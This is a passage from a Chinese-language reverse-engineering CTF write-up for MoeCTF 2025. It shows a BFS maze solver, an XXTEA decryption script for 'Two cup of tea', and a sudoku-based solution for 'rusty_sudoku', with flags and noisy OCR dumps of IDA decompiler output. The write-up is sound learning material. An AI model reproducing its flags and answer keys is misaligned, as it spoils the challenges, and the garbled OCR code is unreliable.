            next_node = (next_x, next_y)

            # 检查移动是否有效
            if 0 &amp;lt;= next_x &amp;lt; cols and 0 &amp;lt;= next_y &amp;lt; rows and \
               maze[next_y][next_x] == &apos;0&apos; and next_node not in visited:
                
                visited.add(next_node)
                queue.append(next_node)
                parent[next_node] = current_node

    return None 

def reconstruct_path(parent_map, start, end):
    path = []
    current = end
    while current:
        path.append(current)
        current = parent_map[current]
    
    path.reverse()
    
    instructions = []
    for i in range(len(path) - 1):
        x1, y1 = path[i]
        x2, y2 = path[i+1]
        
        if x2 &amp;gt; x1:
            instructions.append(&apos;D&apos;)
        elif x2 &amp;lt; x1:
            instructions.append(&apos;A&apos;)
        elif y2 &amp;gt; y1:
            instructions.append(&apos;S&apos;)
        elif y2 &amp;lt; y1:
            instructions.append(&apos;W&apos;)
            
    return &quot;&quot;.join(instructions)

maze_map_strings = [
    &quot;11111111111111111111111111111111111111111111111111111111&quot;,
    &quot;10100000000000000010000011011101011111111101011100000111&quot;,
    &quot;10111010111111111010111011000001000001000001000101110111&quot;,
    &quot;10000010000010000010001011011111111101110111011101110111&quot;,
    &quot;10111111111011101110111011010000000000010100010001110111&quot;,
    &quot;10100000001000101000100011010101111111011101110101110111&quot;,
    &quot;10101011111110111011101011010101000001000000010101110111&quot;,
    &quot;10101010000010100000101011110101110101111101111111110111&quot;,
    &quot;10111010111010101111101011100101000100000101000101110111&quot;,
    &quot;10000010001010001000001011001111011111010101011101110111&quot;,
    &quot;11111011101011111011111111101000100000101100101001110111&quot;,
    &quot;10001010001000100010000010001010011000100010010011000001&quot;,
    &quot;10111010111110101010111011011001011111010101011101011101&quot;,
    &quot;10001010001000001010001011000101000100000101000101011101&quot;,
    &quot;11101011101111111011101011110101110111111101110101011101&quot;,
    &quot;10001000101000001010001011000100010100000101000101011101&quot;,
    &quot;10111111101011101110111011011111110101110111011101011101&quot;,
    &quot;10001000001000100000001011000100000100010000000101011001&quot;,
    &quot;11101011111011111111101011110101111101111111110101011011&quot;,
    &quot;10101000000010001000101011010100000001000100010101011011&quot;,
    &quot;10101111111110101010101011010111111111010101010101011011&quot;,
    &quot;10100000000000100010101011010000000000010001010101011011&quot;,
    &quot;10111111111111111110111011011111111111111111011101011011&quot;,
    &quot;10000000001111000000000011110111010000111100011111011011&quot;,
    &quot;11101111100000011011011111111010110111011101100001011011&quot;,
    &quot;11101111111111111011011111111101110111101101100001011011&quot;,
    &quot;10001000111111000010000011111010110111011101100001011011&quot;,
    &quot;10111010111111111010111011110111010000111101100001010011&quot;,
    &quot;10000010000010000010001011111111111111111101100001010111&quot;,
    &quot;10111111111011101110111011110001000110001101100001010001&quot;,
    &quot;10100000001000101000100011110111011101111101100001011101&quot;,
    &quot;10101011111110111011101011110001000101111101100001011101&quot;,
    &quot;10101010000010100000101011111101011101111101100001011101&quot;,
    &quot;10111010111010101111101011110001000110001101100001011101&quot;,
    &quot;10000010001010101000001011111111111111111101100001011101&quot;,
    &quot;11111011101011111011111110000000000000001101100001011101&quot;,
    &quot;10001010001000100010000011111111111111111100110011011101&quot;,
    &quot;10111010111110101010111010010000000011111110001111011101&quot;,
    &quot;10001010001000001010001010110111000001111110100101011101&quot;,
    &quot;11101011101111111011101000110011001111111100110111011101&quot;,
    &quot;10001000101000001010001011111111111111111111110111010001&quot;,
    &quot;10111111101011101110111010100001001100000000000011011011&quot;,
    &quot;10001000001000100000001011111111111101011101111001011011&quot;,
    &quot;10101011111011111111101011000000000001000100010111011011&quot;,
    &quot;10101000000010001000101010010111111111111111111111011011&quot;,
    &quot;10101111111110101010101010110111111111111111111101011011&quot;,
    &quot;10100000000000100010101011100000000000000000000011011011&quot;,
    &quot;10111111111111111110011011111111111111111111111011011011&quot;,
    &quot;10000011111111111111000010000000000000000000000000011001&quot;,
    &quot;11111011111111111111111111111111111111111111111111111101&quot;,
    &quot;11111011100001100110110111000000000000000000000111111101&quot;,
    &quot;11111011101111011010000111011111111111111111110111111101&quot;,
    &quot;11111011100001000010110110000111111111111111110000000001&quot;,
    &quot;11111011101111011010110111101111111111111111111111111111&quot;,
    &quot;11110000000000011000110000000000000000000000000000000011&quot;,
    &quot;11111111111111111111111111111111111111111111111111111111&quot;,
]
maze_map = [list(row) for row in maze_map_strings]

start_point = (1, 1)
end_point = (32, 15)

path_instructions = find_maze_path(maze_map, start_point, end_point)

if path_instructions:
    print(&quot;找到了路径!&quot;)
    print(path_instructions)
else:
    print(&quot;没有找到路径。&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{SSDDDDWWDDSSDDDDSSDDSSSSDDWWDDWWDDWWWWDDDDSSSSAASSSSAAAASSAASSAAWWAAWWWWAAAASSDDSSAASSDDSSSSAAAASSDDDDDDWWWWDDDDSSDDDDWWDDWWAAWWDDDDSSSSSSSSSSSSAAASSSDDDSSSSAASSSSAAAASSAASSAAWWAAWWWWAAAASSDDSSAASSDDSSSSAAAASSDDDDDDWWWWDDDDSSDDDDWWDDWWAAWWDDDDSSSSSSSSSSSSAAAWAWWWAASSAAWWAASSAAAAAAAAAAWWWWAASSSSSSDDDDSSSSSSDDDDDDDDDWWDDDSSDDWWWDDDSSSDDDDDWWAWWDDDDDDDDDDDDDDDDDDDDSSDDDDDDDDWWWWAWWWWWWWWDWWWWWWWWWWWAAWWDWWWWWWWWWWDWWWWWWAAAASSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSAAAWWAAAAAAAAAAAAAAAAAAAWWWDDDDDDDDWWDDDDDDDDDDWWWAWAAWAWWWWWWWWWWWWWDDWWWWAASSAAWWAASSAAAAAAAAAAWWWWAAWWDDWWAAWWDWWWDWWWWDDDDDDDDDDSSDDDDSSSSDSDSSDDSSAASSAAAAWWAAAASSSSAAAAAAWWDDDDWWWWAAWWAWAASSDSSSDD}&lt;/p&gt;
&lt;h1&gt;17 Two cup of tea&lt;/h1&gt;
&lt;p&gt;IDA打开定位主函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：CHAR*V8;//RCX UNSIGNED _INT64 V10; // [RS BYREF [/ [RSP+20H] [RBP-EOH] BE CHAR V11; // [RSP+28H] [RBP-D8H _INT64 V12; 8 // [RSP+30H] [RBP-DOH] BYREF  INT V13; // [RSP+38H] [RBP-C8H] INT V14; // [RSP+3CH] [RBP-C4H] [DWORD V15[10];// [RSP+40H][RBP-COH] OWORD V16[2L; // [RSP+68H] [RBP-98H] BYREF _INT64 V17; // [RSP+88H] [RBP-78H] / [RSP+90H] [RBP-70H] BYREF CHAR BUFFER[16]; // [RSP // [RSP+AOH] [RBP-60H] INT128 V19; INT64 V20; [RSP+BOH] [RBP-50H] V3:0LL; V12 : 2LL; V11 三 0; V13 2; V14 三 5; V15[0] ] ; 1566723124; V15[1] -2044068179; 三 V15[2] -1659816037; V15[3] -53136879; V15[4] 1175413710; V15[5] -981373336; 三 -28114771; V15[6] 三 167777774; V15[7] 川 V15[8] -1744380997; 三 -280353208; V15[9] 三 0XD0FCC6A7B8941CAFULL; V10 三 _140001070(ARGC, &amp;amp;V10, &amp;amp;V12); SUB SUB_140001010((CHAR &lt;em&gt;)&amp;amp;FORMAT); IOB_FUNC(O); V4 ACRT FGETS(BUFFER, 100, V4); STRCSPN(BUFFER, &quot;\N&quot;); V5 三 IF ( V5 &amp;gt; 0X64 SUB_140001BE8(); BUFFER[V5]-0; YBUFFER V16[0]三&lt;/em&gt;(_OWORD V12 三 V10; V17 三 V20;  V16[1] ; V19; 305419896; V13 三 -1698898192; V14 三 B_1400015E0(V16, V6, &amp;amp;V12); SUB_1 -1LL; V7 DO ++V7; WHILE ( BUFFER[V7] ); IF ( V7 - 40 ) WHILE ( *( DWORD *)(CHAR *)V16 + V3 * 4) -- V15[V31 --&amp;gt;
&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数组v15是加密后的数据，v10是key，但经过函数处理的才是我们需要的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：0XD0FCC6A7B8941CAFULL; V10 : SUB_140001070(ARGC, &amp;amp;V10, &amp;amp;V12); --&amp;gt;
&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开sub_140001070函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：*)(A3 + 4LL DWORD 3))) 水 V11) (V11 5)))); ((16 (V11 ((V10 (V10 V3 V12 ((V10 &amp;gt;&amp;gt; 11) &amp;amp; 3))) (V10 + *(_DWORD 水 +4LL (V12 &amp;gt;&amp;gt; 5 )(A3 V (16 V12) 5)1); (V12 V13 1640531527; V10 V13; V11 V14 ((V10+ *(_DWORD *)(A3 +4LL * 4LL * (V10 &amp;amp; 3)))) (V14 + (16 * V14) * (V14 &amp;gt;&amp;gt; 5)))))))); V12 V15 ((DWORD *)(A3+ 4LL * (V15 &amp;gt;&amp;gt; 11) &amp;amp; 3)) \ (V15 + (V15 * V15) \ (V15 &amp;gt;&amp;gt; 5)); (V10 V16 1640531527; V10 +三 V16; V14 V17 - (V10 + *(_DWORD *)(A3 + 4LL * (V10 &amp;amp; 3)) \ (V17- (V17 &amp;gt;&amp;gt; 5)))); ((16 * V17) V18 V15 * *(_DWORD *)(A3 + 4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)); V10 V19 +1640531527; V10 (V19 A (V18 + ((16 * V18) &amp;lt; (V18 &amp;gt;&amp;gt; 5)))))); V17 V20 ((V10+ *( DWORD *)(A3+ 4LL * (V10 &amp;amp; 3))) (V20+ (V20+ (16 * V20)&apos; (V20 &amp;gt;&amp;gt; 5)))); V21 V18 *(_DWORD *)(A3 + 4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3))) A (V21 + (16 * V21) A (V21 &amp;gt;&amp;gt; 5))))); V22 (V10 1640531527; V10 +二 V22; V23 V20 ; *( DWORD *)(33 + 4LL * (V10 &amp;amp; 3)) &amp;gt; (V23 + (V23) &amp;gt; (V23 &amp;gt; 5)); (V10 V21 V24 DWORD *)(A3+4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3))&amp;gt; (V24+(V24+(16 * V24) &amp;amp; (V24 &amp;gt;&amp;gt; 5)); (V10 V25 V10+:1640531527; V26 V23 V25; * (V10 &amp;amp; 3))) (V26 + (16 ((V10 + *(_DWORD *)(A3 + 4LL * V26) (V26 &amp;gt;&amp;gt; 5))))); 米 V27 V24 DWORD *)(A3 + 4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)); V28 V10 1640531527; V10 十二 (V28 (V27 + (16 * V27) A (V27 &amp;gt;&amp;gt; 5))))); V26 V29 + &lt;em&gt;(_DWORD &lt;em&gt;)(A3 +4LL * (V10 &amp;amp; 3)))) ((V10 -(16 * V29) ,(V29 &amp;gt;&amp;gt; 5))))); (V29 V27 V30 &lt;em&gt;)(A3+ 4LL * ((V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)))) ((16 * V30) (V30 &amp;gt;&amp;gt; 5))))); (V10+&lt;/em&gt;(_DWORD (V30 V31 1640531527; V10 V29 - V31; V32 30-(V10+&lt;/em&gt;(_DWORD&lt;/em&gt;)(A *)(A3 + 4LL * (V10 &amp;amp; 3))(V32+ (V32+ (16 * V32) (V32 &amp;gt;&amp;gt; 5)); V30 V33 * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)))) A (V33 + (16 * V33) (V33 &amp;gt;&amp;gt; 5)))))); )(A3 +4LL *(DWORD 三(V10 V34 +1640531527; V10 V34; V32 V35 9++ *(_DWORD *)(A3+4LL *(V10&amp;amp;3)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) (V10 + * *( ((16 * V35) A (V35 &amp;gt;&amp;gt; 5))))); 三V33 V36 - *(_DWORD *)(A3 + 4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)); V10 V37 1640531527; V10 +三 (V36 +((16 * V36) (V36 &amp;gt;&amp;gt; 5))))))); (V37 V35 V38 *(_DWORD *)(A3 + 4LL *(V10 &amp;amp; 3)))))))) (A3 + 4LL * (V38 (V10 V36 - (16 * V38) A (V38 &amp;gt;&amp;gt; 5)))))); V39 *)(A3 + 4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3))))) DWORD (V39 + (16 * V39) A (V39 &amp;gt;&amp;gt; 5)))); (V10 V40 10 +: 1640531527; V10 V41 三 V38 - V40; *(_DWORD *)(A3+4LL *(V10 &amp;amp; 3))))))))))) ()) (V41 + ((16 * V41) A (V41 &amp;gt;&amp;gt; 5)))))))))))) ) ) ) )&amp;gt; 5)))))))))) (V41 &amp;gt;&amp;gt; 5) 5) 5))))))))))))) ; V42 - V39-(V10+ *)(A3 + 4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)) \ (V42 + (16 * V42) \ (V42 &amp;gt;&amp;gt; 5))))))); *(_DWORD V43三(V10] V10+1640531527; V43; V44 V41 (V44 + ((16 * V44) \ (V44 &amp;gt;&amp;gt; 5)))))); *(_DWORD *)(A3 + 4LL * (V10 &amp;amp; 3)))))) (V10 三 V42 V45 ((V10 DWORD *)(A3+4LL * (V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)) &amp;amp; 3)) (V45 + (V45) &amp;amp; (V45 &amp;gt; 5))))))))))))); V44 V46 1640531527; V10 +三 9-(V10+ &lt;em&gt;(DWORD&lt;/em&gt;)(A3+4LL &lt;em&gt;(V10 &amp;amp; 3))))))))) (V46 +((16 6 * V46) \ (V46 &amp;gt;&amp;gt; 5))))); V45 (V46+(16&lt;/em&gt; V47 *(DWORD 16 * V47) 人 (V47 &amp;gt;&amp;gt; 5)))); 入 (V47+((16 ((V10 &amp;gt;&amp;gt; 11) &amp;amp; 3)) 头 + 4LL )(A3 (V10 V48 1640531527; V10 --&amp;gt;
&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它的作用就是：&lt;/p&gt;
&lt;p&gt;生成/混淆出 XXTEA 所需的前半部分 key。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key = [final_low, final_high, 0x12345678, 0x9ABCDEF0];

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后是加密函数sub_1400015E0，是一个改造过的 XXTEA 解密实现，固定迭代 11 轮。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：二 8 A1[3]; 9 ; A1[4]; 10 ; A1[5]; 111 - A1[6]; 12 三 *A1; 13 ; A1[7]; 27 三 V5; 222  V3; 23 11; WHILE ( 1 ) 1640531527; I V4 V25 *(D &amp;amp;3)); (_DWORD *)(A3 + 4LL * ((UNSIGNED INT)(V4 - 1640531527) V14 V21 : V12 + ((((16 ((V4 - 1640531527) * V6) + (V14 * V3))); (((16 * V3) A (V6 &amp;gt;&amp;gt; 3)) + ((V3 &amp;gt;&amp;gt; 5) 5) (4 * V6))))) V15 : &lt;em&gt;(_DWORD 2) &amp;amp; 3 人 1LL)); * (((UNSIGNED INT)(V4 - 1640531527) &amp;gt;&amp;gt; )(V26+4&lt;/em&gt; V6 +二 (V21 A V15) + ((V4 - 1640531527) * * V7)) * (((((16 * V21) (V7 )&amp;gt;&amp;gt; 3)) + ((V21 &amp;gt;&amp;gt; 5) 2 (4 * V7)))))); - 1640531527) &amp;gt;&amp;gt; 2) &amp;amp; 3 A 3LL; V16 - (UNSIGNED INT)(V4 - V17: *(_DWORD &lt;em&gt;)(V26 +4&lt;/em&gt; (((UNSIGNED INT)(V4 - 1640531527) &amp;gt;&amp;gt; &amp;gt;&amp;gt; 2) &amp;amp; 3\ 2LL); ((16 * V6) (V8 &amp;gt;&amp;gt; 3)) + ((V6 &amp;gt;&amp;gt; 5) 5) A * V8))))); V7 +三 (V6 A V17)+ (V25 A V8)) 0) * (((16 * V7) * (V9 &amp;gt;&amp;gt; 3)) + ((V7 2&amp;gt; 5) 5) (4 * V9))))); &lt;em&gt;)(V26+4 * V16))) 18 +(V25 A V9)+(V7&lt;/em&gt;(DWORD V8 + ) A (V10 &amp;gt;&amp;gt; 3)) + (V8 &amp;gt;&amp;gt; 5) A (4 V10))); (((16 * V8) ( V9 +三 ((V8 A V14) + (V25 人 V10)) ((((() * V11)))); +(19)&amp;gt;&amp;gt; VIE *  (((() ( V15)+  V11 &amp;gt; &amp;gt;  (4 * (4 * V11 &amp;gt; (4 * V11 &amp;gt; 5)+ (4 *  (4 * VII); V18 三 (V10 A V17) + (V25 A V13); V4 V25; V11 +三 V18 \ (((16 * V10) &amp;gt; (V13 &amp;gt;&amp;gt; 3)) + (V1E &amp;gt;&amp;gt; 5) 5) (4 * V13)); 3)) + ((V11 &amp;gt;&amp;gt; 5) &amp;lt; (4 * V27))); ( DWORD &lt;em&gt;)(V26 + 4 * V16)) + (V25 A V27) (((16 * V11) &amp;gt; (V27 &amp;gt; (V27 &amp;gt; V13+(V111 V27 +- (V13 ( VI4) + (V25 A V22)) ((((16 * V13) (V22 &amp;gt; 3) + (V13 &amp;gt;&amp;gt; 5) V22)); 5) (4&lt;/em&gt;V (4 (V25 A V21) ((((((16 * V27) (V21 &amp;gt;&amp;gt; 3&amp;gt; 3)) + ((V27 &amp;gt;&amp;gt; 5) V21)))) + V22; V3 ((V272715)+(V25 A3 三 V26; V19 ; V23-- 33 1; V22 三 V3; IF(V19) BREAK; V12 - V21; ESULT - V13; 41[1] - V6; --&amp;gt;
&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def xxtea_decrypt_uint32(v, key):
    n = len(v)
    delta = 0x9E3779B9
    q = 11  # 题里固定跑 11 轮
    sum_ = (q * delta) &amp;amp; 0xFFFFFFFF

    while q &amp;gt; 0:
        e = (sum_ &amp;gt;&amp;gt; 2) &amp;amp; 3
        for p in range(n-1, -1, -1):
            z = v[p-1] if p &amp;gt; 0 else v[-1]
            y = v[p]
            v[p] = (y - (((z &amp;gt;&amp;gt; 5 ^ (v[(p+1) % n] &amp;lt;&amp;lt; 2)) + (v[(p+1) % n] &amp;gt;&amp;gt; 3 ^ (z &amp;lt;&amp;lt; 4))) ^ ((sum_ ^ v[(p+1) % n]) + (key[(p &amp;amp; 3) ^ e] ^ z)))) &amp;amp; 0xFFFFFFFF
        sum_ = (sum_ - delta) &amp;amp; 0xFFFFFFFF
        q -= 1
    return v

# v15: main 函数里的常量数组（10个 32-bit）
v15 = [
    1566723124,
    -2044068179,
    -1659816037,
    -53136879,
    1175413710,
    -981373336,
    -28114771,
    167777774,
    -1744380997,
    -280353208
]


v15 = [x &amp;amp; 0xFFFFFFFF for x in v15]

# key 的两个部分
key_low  = 0x12345678
key_high = 0x9ABCDEF0
final_low  = 1667592045
final_high = 555837044


key = [final_low, final_high, key_low, key_high]

# 解密
dec = xxtea_decrypt_uint32(v15[:], key)
plain = b&apos;&apos;.join(x.to_bytes(4, &apos;little&apos;) for x in dec)

print(&quot;解密结果：&quot;, plain.decode(errors=&quot;ignore&quot;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;moectf{X7e4_And_xx7EA_I5_BeautifuL!!!!!}&lt;/p&gt;
&lt;h1&gt;19 rusty_sudoku&lt;/h1&gt;
&lt;p&gt;shift+F12 查看字符串&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：CALLED  RESULT::UNWRAP() ON AN ERR VALUE RDATA:0--:0000002C INVALIDENTRYCELLCH NOTENOUGHCELLSFOOMANYCELLSMISSINGCOMMENTDELIMITER .RDATA:0...0000031 /RUSTE/294836836ED69D5F68DBO1964CDF2AF4A8609CB2\1IBRARY/ALLOC\ERE\ERE\: .RDATA:000000004B .RDATA:0-000000000E INVALID INPUT. SRE LMAIN.RS RDATA:000000000051 6.8.3.3.3.18.3.3.3.3.3.3.3.3.3.3. YOU SHOULD NOT CHANGE THE BOARD! IN I NILL SIVE YOU THE FLAGAT JOUR ANSVER IN ONE LINE LINE (WITHOUT SPACES),LNFOR EXEMPLE, 6542197865 WELCOWO TO HOECTE 2025!\PLEASE &lt;em&gt;WFIND￥&lt;/em&gt; MY SUDAKU AND FILL IT CORTECTLY.\NAND THEN I WILL .RDATA:0000000199 TRY AGAIN IN CONGRATULATION:/N YOUR FLAG IS MOECTF[ INVALIDSOLUTION ININININININININININININININININ CALLED RESULT::UNWRAPO ON AN BRR VALUE /RUSTC/29483G9SEED69D5F6+D601964CDF2AF4DS6E9CB2((LIBRARY1LCORE)(SRE)(STR((STR((PATTERN.RS UTF8ERRORVALID_UP_TOERROR_LEN LEGTESTES EN TE REARTERTENTE .RDATA:0.00000002F INININ_ RDATA:00000000006 C --&amp;gt;
&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进去看到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：RDATA:00000001400C2227 QP DB&apos;.6.8..7.18.3........1..8...15.9....4.2.......................................................6.... RDATA:00000001400C2228 A68718379181594 ; DATA XREF: RUSTY_SUDOKU::MAIN+48410 RDATA:00000001400C2228  DB &apos;...5..7..3....5.&quot; RDATA:00000001400C2269 CH DB &apos;YOU SHOULD NOT CHANGE THE BOARD!&apos; RDATA:000000001400C2279 AYOUSHOULDNOTCH 0 .RDATA:0000001400C2279 ; DATA XREF: RUSTY_SUDOKU::MAIN+63310  WELCOME TO MOECTF 2025!&quot;,OAH .RDATA:00000001400C2299 AWELCOMETOMOECT DB ; DATA XREF: .RDATA:OFF 1400C2438LO .RDATA:0000001400C2299 PLEASE &lt;strong&gt;FIND&lt;/strong&gt; MY SUDOKU AND FILL IT CORRECTLY... OAH QP RDATA:000000001400C22B1 DB &apos;AND THEN I WILL GIVE YOU THE FLAG.&apos;,OAH RDATA:00000001400C22E2 DB &apos;INPUT YOUR ANSWER IN ONE LINE (WITHOUT SPACES).&apos;, OAH ,RDATA:00000001400C2305 DB IFOR B&apos;FOR EXAMPLE, 8542197633978654212614739857851263946495381721329478&apos; ,RDATA:0000001400C2335 QP .RDATA:0000001400C2376 56926384517513792648478651239 REPRESENTS:&apos;. OAH 854|219 763&apos;,0AH ,RDATA:00000001400C23A0 397|865|421&apos;,0AH DB RDATA:00000001400C23AC |473|985&apos;,0AH &apos;261 QP ,RDATA:00000001400C23B8 OAH DB RDATA:00000001400C23C4 DB &apos;785|126 394 OAH RDATA:00000001400C23D0 OAH 172 B49 538 .RDATA:00000001400C23DC OAH .RDATA:0000001400C23E8 DB&apos;132947 856 OAH ,RDATA:00000001400C23F4 DB&apos;926|384 517&apos;,0AH RDATA:00000001400C2400 DB 513|792|648&apos;,0AH RDATA:000000001400C240C 478651 239元 QP OAH RDATA:00000001400C2418 DB OAH RDATA:00000001400C2424 DB &apos;YOUR ANSWER:&apos;,OAH RDATA:00000001400C2425 .RDATA:0000001400C2432 DB ALIGN 8 RDATA:00000001400C2433 DQ OFFSET AWELCOMETOMOECT RDATA:00000001400C2438 OFF_1400C2438 , DATA XREF: RUSTY SUDOKU::MAIN+17TO RDATA:00000001400C2438 3 &quot;WELCOME TO MOECTF 2025!\NPLEASE *&lt;em&gt;FIND&lt;/em&gt;&quot;.. RDATA:00000001400C2438 RDATA:00000001400C2440 .RDATA:0000001400C2441 O .RDATA:00000001400C2442 --&amp;gt;
&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过交叉引用，定位到rusty_sudoku::main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：3) _INT64 A2,__INT64 INT64 _FASTCALL RUSTY_SUDOKU::MAIN(_INT64 A - A1, _INT128 &lt;em&gt;V3; // RDI _INT64 V4;// RDX SIZE_T V5; // RDX __INT8&lt;/em&gt;V6;// RCX UNSIGNED *V7;// RSI INT8 UNSIGNED *V8; // R9 INT8 UNSIGNED &lt;em&gt;V9;// R8 INT8 UNSIGNED V10;// CHAR R11 _INT8&lt;/em&gt;V11;// RBX UNSIGNED INT8 &lt;em&gt;V12; / RAX UNSIGNED INT V13;// R11D UNSIGNED INT V14; 1/ R9D INT V15; // R14D INT V16;// EBP UNSIGNED INT V17; // EBX _INT64 V18;// RBX CHAR V19;// B1 _INT8&lt;/em&gt;V20;// R11 UNSIGNED L;//ESI INT V21; UNSIGNED CHAR V22; // BL CHAR V23; // BP INT V24;// EBP INT V25;// EBX UNSIGNED INT V26; / EBX SIZE_T V27; / R15 INT64 V28;// R14 INT64 V29;// RAX _INT64 V30;// R9 _INT64 V31; / RDX _INT64 V32; // RAX INT V33; // ECX INT V34; // EDX INT V35; // R8D _INT64 RESULT; // RAX _INT64 V37; // RAX _INT64 V38; // RDX INT V39; // R8D INT V40; // R9D INT V41; // R11D INT V42; / R10D INT V43; // R10D INT V44; / //EBP --&amp;gt;
&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析函数以及在字符串中看到的提示，就是找到一个正确的9*9数独，再回到字符串视图页面，发现有一个未补全的数独，点进去看到完整的数独&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：...8..7.18.3............................................................8....8....................... 00000051 .RDATA:0. YOU SHOULD NOT CHANGE THE BOARD! 00000020 GE RDATA:0 --&amp;gt;
&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：3.3......7.9........8...15.9..4.2......................3948. 1.6..8..7.18. .RDATA:00000001400C2228 A68718379181594 594 DB ..3948. DATA XREF: RUSTY_SUDOKU::MAIN+48410 RDATA:00000001400C2228 QP B &apos;..5..7..3.....5.&apos; RDATA:00000001400C2269 CH DB RDATA:00000001400C2279 AYOUSHOULDN THE BOARD! YOU SHOULD NOT CHANGE --&amp;gt;
&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用在线工具&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：成功!解法找到了. 7 5 2 3 8 6 4 9 1 7 5 2 4 8 L 9 3 6 撤消 全部清除 擦除 31 5 6 7 4 2 9 8 7 415 8 2 2 6 6 3 3 43 7 5 6 2 8 3 1 6 1 4 2789 5 6 6 5 4 7 5 6 1 2 3 48 6 27 3 5 6 8 1 8 9 4237981 5 8 6 6 --&amp;gt;
&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将 369184572185327694274956831632879415897541263541632789756213948918465327423798156  作为程序的输入&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：E:\MOECTF2025\RUSTY_SUDOKU&amp;gt;. USTY_SUDOKU_FINAL.EXE WELCOME TO MOECTF 2025! PLEASE &lt;strong&gt;FIND&lt;/strong&gt; MY SUDOKU AND FILL IT CORRECTLY. AND THEN I WILL GIVE YOU THE FLAG. INPUT YOUR ANSWER IN ONE LINE (WITHOUT SPACES). FOR EXAMPLE,854219763397865421261473985785123946394649538172132947856926384517513792648478651239 EPRESENTS: 854|219|763 397 865|421 473|985 261 126|394 785 538 172 649 132 947|856 384|517 926 792 648 513 478|651|239 YOUR ANSWER: 369184572185327694274956831632879415897541263541632789756213948918465327423798156 CONGRATULATION YOUR FLAG IS MOECTFLA8C79927D4E830C3FE52E79F410216A0} --&amp;gt;
&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;moectf{a8c79927d4e830c3fe52e79f410216a0}&lt;/p&gt;
&lt;h1&gt;01 speed&lt;/h1&gt;
&lt;p&gt;IDA定位主函数，发现返回到WinMain函数里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为：V3 - 1; 子 ( (_BYTE)V5 - 34 ) IF ELSE V3 A: 1U; IF ( ISMBBLEAD(V5) ) O) - (V4[1] 1; V4 +三 ++V4; (CHAR*)&amp;amp;UNK_7FF7D22A5010; V4 LABEL_15: MEMSET(&amp;amp;STARTUPINFO, O, SIZEOF(STARTUPINFO)); GETSTARTUPINFOA(&amp;amp;STARTUPINFO); WSHOWWINDOW 10; IF ( (STARTUPINFO.DWFLAGS &amp;amp; 1) !- 0 ) IF WSHOWWINDOW - STARTUPINFO.WSHOWWINDOW; RETURN WINMAIN((HINSTANCE)REFPTR- IMAGEBASE, OLL, V4, WSHOWWINDOW); --&amp;gt;
&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开该函数，这个函数注册了一个窗口，只显示1秒，就立即销毁，真正的逻辑在WndProc里&lt;/p&gt;
